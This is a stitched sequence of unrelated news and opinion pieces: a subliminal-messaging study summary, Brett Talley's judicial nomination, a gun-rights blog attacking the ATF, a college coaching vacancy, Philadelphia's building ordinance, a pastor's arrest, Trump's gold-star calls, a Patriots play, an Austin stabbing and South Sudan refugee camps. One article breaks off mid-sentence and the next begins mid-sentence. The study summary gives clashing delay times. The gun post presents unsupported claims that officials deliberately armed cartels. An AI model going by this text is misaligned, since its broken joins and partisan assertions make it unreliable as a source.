Subliminal messages have distinct impacts on people’s thoughts and behavior. Subliminal messages can change a person’s current mood, boost their motivation, and can even alter their political attitudes. It is well known that subliminal information could influence people’s decision making, like who they vote for. However, for this influence to be used in a real life situation, these messages must be stored for long-term use after a few exposures. The classic example of this is a person watching an advertisement a few times on TV, and then going to the store to buy that brand. Messages must also be stored even if they contain “complex relational information that requires semantic integration, such as ‘politician X will lower the taxes.’” These messages are only able to be integrated into a person’s decision making process because people can semantically integrate and store these pieces of information, which can then be retrieved for later use in decision making.
Past studies have shown that subliminal stimulation was found to nonconsciously shape decision-making if the subliminal stimuli consisted of familiar items. For example, priming studies reported that subliminal primes provided the correct responses to related targets in a classification task. There were also noticeable biased responses in “free choice” tasks in which participants freely decided between response alternatives. These past studies have provided ample evidence that subliminal messages can be integrated unconsciously and can influence decisions and choices. However, whether subliminally presented information is stored in long-term memory to influence delayed decisions has not yet been fully researched. The current study aimed to test whether subliminal stimulus pairs would affect delayed decision making.
In the current study, research conducted two experiments to determine if subliminal messaging could affect delayed decision making. In the first experiment, researchers tested whether subliminal presentations of face–occupation pairs would influence later conscious decisions about the income of the same faces. This was assessed over delays of 15 and 25 minutes. Participants were then presented with a face and had to determine if it was high or low income. In the second experiment, researchers assessed if “new vocabulary of a foreign language is acquired subliminally affecting later lexical semantic decisions on the same foreign words” with a delay of 20 minutes. Participants then had to decide if the words on the screen were a correct or incorrect translation. Both experiments were conducted with an encoding phase (face-occupation or translated words), delay period, and then decision making (high or low income and correct or incorrect translation). The decision task given in the test phase constituted an indirect (implicit) memory test. Participants were not given any information about the nature of the study, mainly so that there would be a clear assessment of subliminal messages without the influence of consciously processing any subliminal messages.
The study found that the influence of subliminal messaging appears to last longer than previously thought. In both experiments, subliminal influence extended into the delay periods. For the first experiment, subliminal messaging affected participant answers to the income of a previously seen face for both delays (15 and 20 minutes). For the second experiment, subliminal presentation influenced participants decisions about correct and incorrect translations after 20 minutes. This study demonstrated that exposure to new subliminal information is enough to influence delayed decision making, for at least as long as 25 minutes. Further research should examine the practicality of subliminal messaging, especially outside of advertising, which is well known and documented.Brett Talley, a 36-year-old lawyer whom President Donald Trump nominated for a lifetime federal judgeship, has practiced law for only three years and has yet to try a case.
Before his nomination in September, he had been unequivocal about his political views. “Hillary Rotten Clinton might be the best Trumpism yet,” says a tweet from his account, which has since been made private. “A Call to Arms: It's Time to Join the National Rifle Association” was the title of a blog post he wrote in January 2013, a month after a gunman in Newtown, Connecticut, killed 27 people before taking his own life.
Talley, who also writes horror novels on the side, moved a step closer to becoming a federal district judge in his home state of Alabama on Thursday. Voting along party lines, the Senate Judiciary Committee, on which Republicans outnumber Democrats, approved Talley's nomination, which now goes to the Senate for a full vote.
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Talley is the latest federal judicial nominee to draw scrutiny for what some say is his limited experience in practicing law and the level of partisanship he had shown on social media, on his political blog, and on several opinion pieces he had written for CNN. He has also received a “not qualified” rating from the American Bar Association (ABA), which vets federal judicial nominees.
The vote on Talley's nomination comes as Trump and Senate Majority Leader Mitch McConnell, Republican-Kentucky, continue to intensify efforts to place conservative jurists, some of whom are young, on the federal bench. As he stood next to McConnell during a news conference in October, Trump said the judicial nominations are the “untold” success stories of his presidency.
“Nobody wants to talk about it. But when you think about it, Mitch and I were saying, that has consequences 40 years out, depending on the age of the judge, but 40 years out,” Trump said. “So numerous have been approved. Many, many are in the pipeline. The level of quality is extraordinary.”
In a statement defending Talley's nomination, Senator Charles E. Grassley, Republican-Iowa, chairman of the Judiciary Committee, said he does not believe “extensive trial experience” is the only factor in deciding on a nominee's qualifications.
“Mr Talley has a wide breadth of various legal experience that has helped to expose him to different aspects of federal law and the issues that would come before him,” Grassley said.
Talley graduated from Harvard Law School in 2007. Shortly after, he became a law clerk in Alabama, spending two years at a federal district court and another two at the US Court of Appeals for the 11th Circuit. He worked as a political speechwriter for three years, first for Mitt Romney's presidential campaign in 2012 and then for Senator Rob Portman, Republican-Ohio, from 2013 to 2015.
In April 2015, Talley became an Alabama deputy solicitor general, a position he held for nearly two years until he became deputy assistant attorney general for the Justice Department in January.
Talley's lack of experience in the courtroom and his partisan commentaries, however, were repeatedly questioned by Democrats on the Judiciary Committee.
“Your overall qualifications and preparation for becoming a lifetime-appointed federal judge are a concern to me,” Senator Dianne Feinstein, Democrat-California, said, according to her written questions to Talley.
Senator Richard J. Durbin, Democrat-Illinois, did not mince words, asking questions like: “How can you claim to be qualified for a lifetime appointment to supervise federal trials on a daily basis when you have never yourself tried a single case?” and “Do you think it is advisable to put people with literally no trial experience on the federal district court bench?”
In response, Talley said he had previously argued motions in federal district court on behalf of the state of Alabama, often through written briefs than in person. He also said he had argued cases before the 11th Circuit appeals court and the Alabama Court of Criminal Appeals.
Talley said it would be “inappropriate” for him to comment on the decision to recommend him |
to restrict or regulate arms in any capacity. They have tyrannically taken it upon themselves to do so. However, under the Obama administration, they have been going into gun dealers in states that border Mexico and obtaining information on individuals that purchase certain weapons with certain features within a matter of days, which seems to be clear violation of the Fourth Amendment as well as, the Second Amendment. A case developed as a result and a Federal Court gave the Obama administration the thumbs up to continue their trampling of the United States Constitution.
Federal firearms licensed dealers are to report individuals to the Bureau of Alcohol, Tobacco, Firearms and Explosives (BATFE, or more commonly ATF) when they purchase 2 handguns within a period of five business days. Their new policy is an extension of that policy.
This was just the next step of the Obama administration’s move for more gun control. They were the ones deliberately watching guns being taken across the border into Mexico and into the hands of drug cartels. They were the ones responsible for arming them with thousands of weapons which resulted in the deaths of hundreds of Mexicans, including a Mexican beauty queen, and two Federal agents and these cartels are responsible for some of the most horrific and brutal murders in Mexico, including the multiple attacks and subsequent death of Mayor of Ticquicheo Maria Santos Gorrostieta and across our border.
The National Shooting Sports Foundation (NSSF) and the National Rifle Association (NRA) filed the lawsuit.
Guns Save Lives reports:
First, the NSSF argued that the law was akin to creating a type of national registry, which is currently illegal, but the court rejected that idea saying, according to the opinion (Click to read PDF), “The GCA [Gun Control Act of 1968] unambiguously authorizes the demand letter,” Judge Karen LeCraft Henderson wrote, joined by Judges Judith Rogers and Harry Edwards. “A national firearms registry is a large-scale collection of records…Because ATF sent the demand letter to only seven percent of [federal firearms licensees] nationwide and required information on only a small number of transactions, the July 2011 demand letter does not come close to creating a ‘national firearms registry.’” Next, the NSSF tried to argue that the new requirements are too burdensome for gun dealers to follow. That reasoning was also rejected by the court, “Searching records for multiple sales of a particular type of firearm to the same customer…is nothing new for FFLs. Since 1975, an FFL who sells ‘two or more pistols or revolvers [to the same person] at one time, or during any five consecutive business days’ has been required to submit a report to ATF similar to the one at issue,” Henderson wrote. “The fact that an FFL chooses to keep his records in alphabetical or numerical order does not mean that the FFL can complain if his choice may not always be the least burdensome. Moreover, there is nothing preventing an FFL from maintaining records in a less burdensome (in this case, chronological) manner.”
While the court acknowledged that “NSSF contends that its alternative targeting proposal was so obvious based on data in ATF’s possession that ATF should have addressed it,” they shot down the arguments from the NSSF.
In their ruling they affirmed the judgment in favor of the ATF writing,
“Unlike the precedent relied on by NSSF, ATF has not rescinded a policy or reversed course without explaining why it did not take a more limited action. See, e.g., State Farm, 463 U.S. at 46-48 (agency’s abandonment of passive restraint requirement arbitrary and capricious because agency gave no consideration to requiring airbag technology rather than rescinding passive restraint technology altogether); Int’l Ladies’ Garment Workers’ Union v. Donovan, 722 F.2d 795, 812 (D.C. Cir. 1983) (“This case is a classic example of an agency attempt to modify a longstanding policy by rescinding regulations embodying that policy.”), cert. denied, 469 U.S. 820 (1984); Office of Commc’ns of United Church of Christ v. FCC, 707 F.2d 1413, 1440 (D.C. Cir. 1983) (FCC improperly eliminated requirement that radio licensees maintain programming logs without considering benefit of retaining modified form of logs); Action on Smoking & Health v. CAB, 699 F.2d 1209, 1216, 1218 (D.C. Cir. 1983) (agency’s decision to eliminate requirement failed to give sufficient consideration to narrower alternatives). Although NSSF has carefully combed through ATF’s data and suggested an alternative targeting mechanism, the fact that ATF could have narrowed the scope of the demand letter does not mean that its failure to do so was arbitrary and capricious, particularly because NSSF has failed to point to any evidence showing that narrowing the geographic scope of the demand letter was a serious issue raised by any commenter.13 ATF’s decision to direct its July 2011 demand letter to FFLs based on their geographic location was therefore not arbitrary and capricious.”
While it may not be arbitrary or capricious from the court’s position, I certainly side with Publius Huldah and believe the ATF is an unconstitutional entity and they are engaging in activity outside the law (Constitution). Finally, just keep in mind that a precedent has been set with this. Now they are just doing it with Border States. What is to keep them from doing it with every other state?
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Tim Brown is the Editor of Freedom Outpost and a regular contributor to The D.C. Clothesline.Louisville is looking for a new offensive coordinator after Garrick McGee left for Illinois. The obvious choice appeared to be Paul Petrino, the current head coach at Idaho and the brother of Louisville head coach Bobby Petrino. The brothers had worked together at Louisville and Arkansas before.
However, Petrino declined the job, according to Football Scoop:
Sources tell FootballScoop Paul Petrino has turned down opportunity to become offensive coordinator at Louisville https://t.co/sNnVtycOD5 — FootballScoop Staff (@FootballScoop) March 11, 2016
This is curious on a number of levels. Most coaches don't voluntarily go from head coach to offensive coordinator, but Idaho is an extreme situation. After losing its Sun Belt membership, Idaho could end up dropping down to FCS. That's a hit to the job's reputation, and Petrino has struggled with the Vandals, going 1-11, 1-10 and 4-8 in three seasons in Moscow.
Those are some pretty bleak circumstances, and head coaches at Ball State and Central Michigan have previously left for coordinator positions at power conference schools, despite being in a better position than Petrino was at Idaho.
It's likely Petrino would have increased his pay at Louisville, too, possibly double. He currently makes $413,000 per year. McGee made $850,000 per year with the Cardinals.Philadelphia is forcing property owners to fix up abandoned buildings to fight crime, and it's actually working.
Abandoned home in North Philadelphia. (Photo: pwbaker/Flickr)
Over the past half-century or so, urbanites have been abandoning America's cities. Post-industrial municipalities like Philadelphia, where manufacturing job losses spurred residential flight, have been hit particularly hard. Philadelphia is home to thousands of abandoned buildings, standing vacant and slowly crumbling from substandard upkeep. To remediate dilapidated neighborhoods, four years ago Philadelphia passed an ordinance requiring vacant property owners to make simple, cheap renovations to building fronts. A recent study by a team of researchers from the University of Pennsylvania, the USDA Forest Service, and the Yale School of Public Health, published this month in the journal PLoS One, sought to quantify the ordinance's effect. They've got some good news: It's working.*
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Vacant buildings decrease nearby property values by up to 20 percent in some Philadelphia neighborhoods, costing the city up to $20 million in management costs—along with $2 million in lost property taxes—every year. And research shows these abandoned buildings may also be bad for city-dwellers' health and safety: Neighborhoods with vacant properties tend to have higher rates of crime, drug-related deaths, and sexually transmitted diseases.
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The city saw small reductions in total crime around abandoned buildings that made moves to comply with the new ordinance.
To combat such problems, Philadelphia implemented a Doors and Windows Ordinance in 2011, which required property owners to install working, lockable doors and windows on all structures located on streets that were at least 80 percent occupied. The city hoped the ordinance would reduce the appearance of disorder, and thus reduce crime. The research team cross-referenced crime data collected between 2010 and 2013 with geographical data for buildings that complied with the ordinance and buildings that didn't, to find out if the remediation strategy worked.
The researchers found that the restoration plan had a significant effect on crime: Over the study period, the city saw small reductions in total crime, specifically in assaults, gun assaults, robberies, and nuisance crimes around abandoned buildings that made moves to comply with the new ordinance. Even greater reductions were seen around buildings that applied for renovation permits above and beyond the windows and doors.
According to the authors, the findings support the idea that rundown buildings project a tolerance for disorder and crime, a tenet of broken windows theory. "New doors and windows and a newly cleaned building facade likely signaled to potential offenders that a property was occupied," the authors write, "and therefore crimes in general, and violent and nuisance crimes were not tolerated."
Adding functional windows and doors is a relatively cheap alternative to demolishing abandoned buildings—good news for a city that's strapped for cash. The findings suggest that, for other struggling cities, similar ordinances could be a low-cost alternative to combating crime.
Quick Studies is an award-winning series that sheds light on new research and discoveries that change the way we look at the world.
*UPDATE — July 21, 2015: This article has been updated to more accurately reflect the researchers' affiliations.Harry Thomas, 74, has been arrested for molesting four children from 1999 to 2015.
He is a pastor at Come Alive New Testament Church in New Jersey, although he is known to more people as the founder of the Creation Festival. The event, sometimes called the “grandfather of Christian music festivals,” is a multi-day music festival that draws crowds of around 100,000 to see the biggest names in Christian music.
Thomas was arrested on December 6 on charges of aggravated sexual assault, three counts of sexual assault, and four counts of endangering the welfare of children. Authorities have not released any details about the allegations to protect the privacy of the victims.
Come Alive New Testament Church’s website has been cleared of all information and replaced by a short statement that says that Thomas has been “indefinitely suspended” from all leadership positions in the church. The statement says that the accusations are “unrelated to his roles in these ministries,” implying that Thomas did not meet the victims through the church.
“It is requested that all pray for the parties involved and refrain from speculation regarding the circumstances,” church trustee William P. Darpino told the Courier-Post.
In 2003, Thomas got media attention when he set up a now-defunct website called savethejacksons.com. He was defending Vanessa and Raymond Jackson, members of his church who were accused of starving four foster children.
Neighbors found the nine- to nineteen-year-old boys looking through their garbage for food. They each weighed less than 50 pounds.
Thomas even testified on the foster parents’ behalf at a state congressional hearing about the case, where he minimized the boys’ weight gains after being found by authorities by suggesting that they were weighed with their shoes on. He said that each boy had an eating disorder to explain why they were so thin that their growth was stunted.
Vanessa was sentenced to seven years in prison, and Raymond died before he could be prosecuted.
Members of his church say that they can’t believe the man they called “Pastor Harry” has been arrested.
“I’ve seen him with children, with my children, and there is no way. I can’t believe it,” Dino Originos said. “He doesn’t seem to fit that profile. He is such a nice man and a Godly man and he has grandkids himself.”
The prosecutor told Christianity Today that Thomas is being treated at a medical facility as he awaits possible grand jury indictment.
This Story Filed UnderHindsight is 20/20, but sometimes foresight has a sharp focus, too.
It was fairly clear a week ago that the White House should have gotten out in front of questions about the deaths of four Special Forces soldiers earlier this month in Niger. The men had been killed on Oct. 4, but there had been almost no word from the White House. No explanation, no condolences — just brief comments from White House press secretary Sarah Huckabee Sanders including a statement on Oct. 6 that, “We’re continuing to review and look into this.”
By Monday of this week, when President Trump decided to hold an impromptu news conference in the White House Rose Garden, the administration should have been ready for questions on the subject of the soldiers’ deaths. When a reporter raised it, Trump’s response didn’t suggest a great deal of preparation. Instead, he tried to one-up past presidents by claiming that he was going above-and-beyond in calling the families of the soldiers who had been killed.
Trump’s incorrect (and rapidly debunked) assertion that he was doing something that past presidents hadn’t was like dropping a snowball at the top of a mountain. As the week went on — and as Trump and his team kept making more and more mistakes and misstatements — the snowball grew and grew, consuming five days of media attention.
We’ve done our best to illustrate how a bad situation was made much worse. On the chart below, blue boxes indicate decisions or comments that continued or worsened the situation for the White House. More detail and links to news stories follow.
The mistakes
The White House offers little comment on Niger. This primes the media to dig deeper.
Trump claims that past presidents didn’t call gold-star families. Even before the news conference ends, this claim is largely debunked. The effect of it is to draw attention to when and how Trump makes those calls.
Trump claims that he’s called the families of “virtually everybody” killed in action during his presidency. A race is on. The AP finds that about half of the 20 families they spoke with hadn’t been called. The Post finds that one father was promised a $25,000 check that was never sent. On Friday, Roll Call reveals emails showing that the White House scrambled to get a list of people to call after Trump made this claim.
Trump says that President Barack Obama didn’t call White House Chief of Staff John F. Kelly after Kelly’s son was killed. Kelly had tried not to politicize his son’s death and it appears that Trump didn’t clear it with Kelly before doing so.
Trump calls the family of Sgt. La David Johnson and makes comments they find frustrating. Those comments are first revealed to the press by Rep. Frederica S. Wilson (D-Fla.), who was in a car with the family when Trump called. She indicates that Trump said that Johnson “knew what he signed up for,” which the family found to be callous.
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White House Chief of Staff John Kelly criticized Rep. Frederica S. Wilson (D-Fla.) for focusing on her fundraising during a 2015 FBI building dedication. Wilson said Kelly's comments were a “lie,” and newly released video appears to support her version of events. (Thomas Johnson/The Washington Post)
Trump says Wilson “totally fabricated” what he said — and that he can prove it. Other family members soon confirm Wilson’s description of the call, however.
Nonetheless, Trump again says Wilson was incorrect. At the daily White House press briefing, Sanders makes it pretty clear that the “proof” is simply that other people were in the room with Trump when he made his call, including Kelly.
Kelly disparages Wilson by recounting the opening of a new FBI building in 2015, during which he says she made inappropriate comments. The next day, a local newspaper in Florida publishes video of Wilson’s speech, undercutting Kelly’s claims.
When the media asks that Kelly address his false statements, Sanders tells the media that it is “highly inappropriate” to question a general. Kelly’s current role, of course, is a civilian one. In short order, examples emerge of Trump questioning generals.
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White House press secretary Sarah Huckabee Sanders on Oct. 20 defended Chief of Staff John F. Kelly's attacks on Rep. Frederica S. Wilson (D-Fla.) and called it "highly inappropriate" to debate with "a four-star Marine general." (Reuters)
Trump repeatedly insults Wilson on Twitter, calling her wacky. After he does so on Sunday, Wilson responds.
Trump tells Fox Business’ Maria Bartiromo that he was “so nice” during his call with Johnson’s widow. That assertion is undermined when Myeshia Johnson is interviewed on “Good Morning America,” telling ABC’s George Stephanopoulos that Trump’s call “made me cry. I was very angry at the tone of his voice, and how he said it.” She also asserts that Trump couldn’t remember La David Johnson’s name.
Trump replies on Twitter.
Philip Bump is a correspondent for The Washington Post based in New York. Before joining The Post in 2014, he led politics coverage for the Atlantic Wire.
Post RecommendsFOXBOROUGH, Mass. -- Baltimore Ravens coach John Harbaugh objected to what he called a "substitution trick" by the New England Patriots in the third quarter of Saturday's AFC divisional playoff game, saying it was "clearly deception" that he hopes the league examines.
John Harbaugh said he took an unsportsmanlike penalty in order to get officials' "attention so they would understand what was going on." The Ravens' coach objected to a Pats subbing pattern designed to keep his team off balance. AP Photo/Steven Senne
The Patriots dug into their bag of tricks on their second drive of the third quarter, lining up just four offensive linemen and declaring a normally eligible receiver as ineligible to keep Baltimore off balance.
Ravens players were confused about which Patriots to match up with in coverage, and Harbaugh drew an unportsmanlike conduct penalty for running onto the field and screaming in objection. Harbaugh said after the game that the officials "didn't understand what was going on."
"We wanted an opportunity to be able to ID who the eligible players were," Harbaugh said. "What [the Patriots] were doing was they announce the ineligible player and then Tom [Brady] would take them to the line right away and snap the ball before we had a chance to figure out who was lined up where. That was the deception part of it. It was clearly deception.
"So the officials told me after that they would give us the opportunity to do that, which they probably should've done during that series but they didn't really understand what was happening. That's why I had to take the penalty, to get their attention so they would understand what was going on because they didn't understand what was going on.... That's why guys were open, because we didn't ID where the eligible receivers were at."
"Maybe those guys gotta study the rulebook and figure it out. We obviously knew what we were doing and we made some pretty important plays. It was a real good weapon for us."
Brady disagreed with Harbaugh's description of it as an act of deception.
"I don't know what's deceiving about that," he said.
When informed of Harbaugh's objection, Brady fired back.
"Maybe those guys gotta study the rulebook and figure it out," he said. "We obviously knew what we were doing and we made some pretty important plays. It was a real good weapon for us."
Patriots coach Bill Belichick explained the strategy, which he utilized on three plays and featured four offensive linemen on the field and had either running back Shane Vereen or tight end Michael Hoomanawanui lined up as ineligible.
"It's a play that we thought would work," Belichick said. "We ran it three times, a couple different looks. We had six eligible receivers on the field, but only five were eligible. The one who was ineligible reported that he was ineligible. No different than on the punt team or a situation like that."
Harbaugh said it was a tactic that "nobody has ever seen before." When asked whether he thought it was cheap or dirty, he said he would not comment.
Editor's Picks Hensley: Secondary ends Ravens' season Joe Flacco's four touchdowns and the Ravens' smothering run defense couldn't compensate for a secondary that brought Baltimore's season to an end Saturday, Jamison Hensley writes.
"The league will look at that type of thing, and I'm sure that they'll make some adjustments and things like that," Harbaugh said.
Patriots offensive coordinator Josh McDaniels pulled out the trickery when his team was down by 14 points and the offense had gone three-and-out on the opening drive of the third quarter. The drive resulted in a 5-yard touchdown pass to tight end Rob Gronkowski and frazzled the Ravens' defense.
"There was a lot to the plays," Hoomanawanui said. "I have to report as ineligible. I can't go down the field. I can only block. So as hard as it is for them to figure out, there's a lot that goes into it on our side, too.
"You could see how frustrated they were on who to cover and this and that, so it turned out to be great plays for us."
Patriots right guard Ryan Wendell, who shifted to center after rookie center Bryan Stork left the game with a knee injury, couldn't recall any game he played in where anyone only used four offensive linemen.
"I think it just says that it's the playoffs and we are willing to do whatever it takes to win," Wendell said. "There's no good in holding anything back right now."A Texas man diagnosed with bipolar disorder fatally stabbed his stepmother because he thought she was “gloating” about a win by the Dallas Cowboys, court papers show.
Pontrey O’Neal Jones, 20 — who stopped taking his meds two years ago — attacked Magdalena Ruiz inside their South Austin apartment following the Cowboys’ 26-20 victory over the Tampa Bay Buccaneers on Sunday, according to an arrest warrant affidavit obtained by the Austin American-Statesman.
Jones, who recently moved into the home, told investigators that Ruiz had disrespected his father and was gloating about the win prior to the attack.
Jones had initially decided to break his sister’s neck, according to the affidavit, but changed his mind and “developed a plan” against Ruiz, hiding a black-handled knife beneath a couch to attack her later, CBS Austin reported.
At about 10:40 p.m., just after the Cowboys locked up their 12th win of the season, Jones grabbed the knife and stabbed Ruiz several times before Jones’ father managed to intervene. Jones ran out of the apartment and was found about 10 minutes later, lying naked in the grass near an intersection where police eventually took him into custody.
“When informed the victim was deceased, Jones appeared relieved and advised he stabbed the victim multiple times under the belief that a single stab wound would fail to render death,” the affidavit reads, according to the Austin American-Statesman.
Jones, who told investigators he stopped taking his prescribed medications because they would “slow him down,” said he had previously planned to join the military, but the pressure was simply too high and that he had disappointed his siblings.
Jones has been charged with murder and remains jailed on $500,000 bond. It was unclear whether he has hired an attorney.
One of Ruiz’s longtime friends said she felt uncomfortable about Jones’ erratic behavior and the family’s new living situation.
“She said, ‘I guess I’ll let him come into my life and our apartment,’” Amanda Rivera told Fox Austin. “He was kind of scary because he was like one of those people like if you want to say something, he would attack you … I’m a little angry and pissed off about it because, why did he have to do that to her? Why did she have to leave with God? It wasn’t her time to leave. It wasn’t.”
A fundraising website has been established to offset Ruiz’s funeral costs.
“Maggie Ruiz was a loving, devoted wife and mother who worked extremely hard to make sure that her family was provided for and felt loved,” the site reads. “Her unexpected death leaves a deep hole in the hearts of all knew this kind soul. She leaves behind three children and a husband, her extended family, her many friends and neighbors, and a large community who enjoyed the sunshine she brought to all things.”To find the movie theater in this sprawling camp for people fleeing war, take a right at the main gate, past the knot of police in full riot gear stealing bored glances at their cellphones. Go right again at the sentry tower made of shipping containers stacked up like a giant Jenga game, and then once more just past the water tap.
There, the road opens into a wide, dusty boulevard lined with tented shops. The movie theater is a few shops in, wedged between a tea stall, a vegetable market, and a large furniture store.
As far as cinemas go, it’s a bit cramped and more than a bit overheated, but what it lacks in facilities it makes up for with the omnivorous taste of its proprietor. Some days he screens a double feature of American professional wrestling and a Hollywood horror flick. Others it’s syrupy romances or wobbly livestreams of British soccer matches. Today, the movie is “Saving Private Ryan” cranked to a volume so loud the whole tent vibrates.
Four years ago, this area with the cinema and the entire tent city that surrounds it was nothing but an empty field backing up against a United Nations base on the edge of South Sudan’s capital city.
Then came civil war: a power struggle between the president and his deputy turned suddenly bloody. In the span of a single week in December 2013, about 30,000 people showed up on the UN’s doorstep here, begging for protection. Eventually, more than 200,000 people would take refuge in UN compounds countrywide.
At first the agency guessed that the new arrivals wouldn’t stay long – a few days, maybe a week or two, just until the fighting fizzled. But as the conflict deepened, the UN and international humanitarian groups found themselves in a familiar mode: plotting the architecture of a settlement for people with nowhere to go. First came the rows of identical tents spilling across the desert, then the blocks of shared toilets and the fenced-off clearings for food distribution.
Soon, however, the temporary camps were morphing into something else – functioning cities, messy and improvised, but unmistakably urban. Inside Juba’s Protection of Civilians (POC) Camp 3, as the main displaced persons settlement here is called, there are police stations and restaurants, 12 churches and a mosque, an internal economy with its own thriving real estate market, and even hints of gentrification.
The evolution of sites like this one highlights a broader trend worldwide: Displaced people want to live in cities – places with services and a sense of permanence – and they will cobble them together from whatever they are given. But that presents a quandary to humanitarians. The very idea of a camp – as the name suggests – is as a temporary refuge, a place to be set up and torn down again. After all, everyone wants displaced people to go home; making long-term plans for housing and governance implies they never will.
“We face a real dilemma,” says Ian Ridley, head of the UN Office for the Coordination of Humanitarian Affairs in South Sudan. “If we publicly verbalize that the [camps] are there to stay, then they will be there to stay, because then we’re saying that we don’t see any solution to the conflict.”
By the UN’s count, the world has some 65 million displaced people, the highest number since World War II. Many of those, including millions of South Sudanese, are fleeing conflicts with little immediate hope of resolution, which means returning home is, at best, a distant possibility.
Meanwhile, the organic transformation of many refugee settlements from flimsy camps to DIY cities has begun to push aid groups and governments to think more closely about one of the world’s most pressing humanitarian questions: What do you do with the millions of people who have no place to return to?
In Juba and the Jordanian desert, in rural Kenya and huddled along the Syrian border in southeast Turkey, displaced people themselves are offering one simple if imperfect solution: building lives – and places to live – that look more like the ones they left behind.
Displacement is a global crisis, but in few countries is it so existential as in the world’s newest nation. South Sudan was born in July 2011, cleaved off from Sudan, then Africa’s largest country, after decades of war. The conflict had left it with few schools, roads, or functional health centers. Then, just two years later, the infant nation turned on itself as factions loyal to the two political rivals tried to vanquish the other. The war that began in Juba radiated across the country.
Some civilians fled their homes and hid out in tropical forests, grasslands, and nearly impenetrable swampland. Others crossed into Uganda, Ethiopia, and even Sudan, their onetime enemy.
Ryan Lenora Brown/The Christian Science Monitor John Tot Malual, a doctor who had to flee the fighting in Juba, now runs a small clinic in the United Nations-run camp outside the city.
John Tot Malual, a doctor, sought refuge here, a few miles outside the capital. He fled on the second day of fighting in Juba, barely stopping to padlock the doors to his small private clinic before he ran to the UN compound. “The medicines, the beds, the laboratory, my whole working life, I left it there,” he says. “The only thing we could save then was our lives.”
Today nearly 4 million people, one-third of the population, have fled their homes. The fighting goes on, punctuated by inconclusive peace talks. The country has become so hollowed out that even if the war ended tomorrow, many of the displaced people would have nowhere to return to. And while few humanitarians have acknowledged the emerging reality of long-term displacement, for those who have fled it is already a reality.
“It’s been almost five years. I don’t expect to go outside anytime soon,” says Nyeruop Beliew Chuol, who heads a women’s committee in POC 3. “We are like cows in a pen. You only know the things inside.”
And inside that pen, she says, life must go on. “There is no movement right now that can bring peace,” she says. “So we take care of our own affairs.”
Fleeing from war did, for a moment, flatten social divisions here, rendering everyone equally helpless, equally in need. But soon, old social structures reemerged. Village elders became camp leaders. Gangs of former soldiers and militiamen formed community policing groups. Local courts began trying local crimes like adultery or having a child out of wedlock.
“These are not rabbits you’re putting in cages. These are people aching to get back to their normal life, trying to reclaim their individuality,” says Kilian Kleinschmidt, a former UN official who has managed refugee camps in Africa and the Middle East.
SOURCE: UNHCR, as of Sept. 2017 | Jacob Turcotte/Staff
Ironically, life in the camps seems to have removed the biggest barrier to good government in South Sudan – war. While there are regional disputes here, the deeply held ethnic resentments cracking the country apart are mostly absent (in part because its residents, largely loyal to the opposition, are mostly of the same ethnic background). And no one’s salaries are being siphoned off by conflict, corruption, or economic collapse – because no one here makes a salary at all.
“We feel as people affected by war we have to at least be committed to peace here, in our camps,” says James Lam Gatluak, a judge.
On a recent morning, Mr. Gatluak and six other justices on the high court, the camp’s equivalent of a Supreme Court, sit at a plastic table in the corner of a tin building that serves as POC 3’s administrative headquarters. As they huddle over a skillfully forged American $100 bill, the face of a small child appears at the window, hushed and curious about the proceedings inside.
“I took this money from the bank,” says the defendant, a slight woman in a long yellow dress, waving a pink deposit slip from a bank in Juba. Her voice wavers with exasperation. “How can it be fake?”
The man accusing her of passing the counterfeit bill interrupts her testimony and slams his fist on the table. “She switched the bill and gave me that one,” he says. The judges, who each wear a red-and-white sash, quietly take notes.
Each month, the high court hears appeals from a network of 16 lower courts in the camp, about cases ranging from assault and theft to adultery. Most are settled at this table by the judges, who often mete out small fines, which the defendants pay to victims and camp administrators. Only four or five cases a month – murder, rape, or violent robbery – are referred to the UN. Judges weigh referrals carefully, since the accused could end up being sent to a prison in Juba, under the writ of the very government they fled.
Today, as the case of the fraudulent bill rambles on – there are hours of more witnesses and evidence to be heard – a flurry of angry voices rises from outside. Two residents march another man toward the local police station, a three-room tent. The suspect, who has been accused of beating up a man who eloped with his sister, rails against his captors, screaming obscenities.
Ryan Lenora Brown/The Christian Science Monitor Judges on the high court in Protection of Civilians Camp 3 hear evidence in a forgery case. The court, which is part of a network of 17 tribunals run by camp residents, hears a wide variety of legal cases.
In the next room over, Tek Chan explains how policing works in POC 3. “We follow human rights,” he says. “We have been taught by the UN about international law.” Just then, in the room where the prisoner is being held, a whip cracks on bare skin. A man wails, and then the room falls silent.
At times, however, “you need a local intervention,” says Mr. Chan, who heads a policing committee. The whip cracks again. He shrugs.
From above, camps like POC 3 look like a refugee Levittown: row after row of nearly identical tents laid out in a perfect grid. In theory, everything residents need here is free of charge, and everyone is treated the same. Food, education, medical care, a place to sleep – none of it costs a cent, and everyone is equally entitled to his or her share.
Camp life also comes with certain rules. No weapons. No alcohol. No leaving the compound after dark. Guards check residents coming from the outside for contraband – alcohol and drugs, of course, but also bricks and mortar. No permanent housing can be built here.
“The message has to go out that this is a temporary, interim solution,” says Charles Okwir, a relief, reintegration, and protection officer with the UN Mission in South Sudan. “It should not be seen as a permanent feature of life in South Sudan.”
But in recent years, its wealthiest residents have begun quietly replacing their UN-issued tents with circular huts made from mud bricks and twigs – taking advantage of a gray area in the “no permanent housing” rule – and filling them with furniture from local stores.
And despite the sameness of circumstances here, camp life is also entrepreneurial. People trade sacks of World Food Program corn for braids of dried fish that taste like meals back home, or they swap a load of firewood for a beaded bracelet. Ration cards are exchanged for hard currency, which pays for a better-located tent or a haircut, a pair of sneakers, a hunk of meat.
The natural impulse to turn temporary settlements into something more permanent is as old as civilization – and isn’t necessarily bad, according to Mr. Kleinschmidt. For thousands of years, he points out, humans have been running, searching – and resettling. Take Venice, the Italian city of canals and hordes of gondola-riding tourists. It began as a camp for civilians fleeing Germanic and Hun invaders after the fall of Rome.
“All our cities are refugee cities, in a way,” says Kleinschmidt. “So if you look at it that way, then why are we now making so much fuss about camps and depriving people from moving on with their lives?”
The answer to that question lies partly in the ruins of postwar Europe. In 1951, the newly minted UN laid down the first set of guidelines for how to treat people displaced by war. The UN’s refugee convention, which has since been adopted worldwide, sets out the rules on who is allowed to flee – people with a “well-founded fear of being persecuted” at home – and the obligation of receiving countries to provide “temporary protection” until a more durable solution is found.
That protection usually takes the form of a tented camp – cheap, flexible, and portable. The idea is that people will stay there until the conflict ends, or, if it doesn’t, they will either integrate into the new country or relocate to a third nation. In practice, long-term solutions have proved elusive. Many governments haven’t wanted to keep the refugees stranded in their country, and camps provide a simple, if inelegant, solution. So the life span of many of these ephemeral tent cities has ballooned, even as planning for them remains hostage to the idea that they will never be permanent.
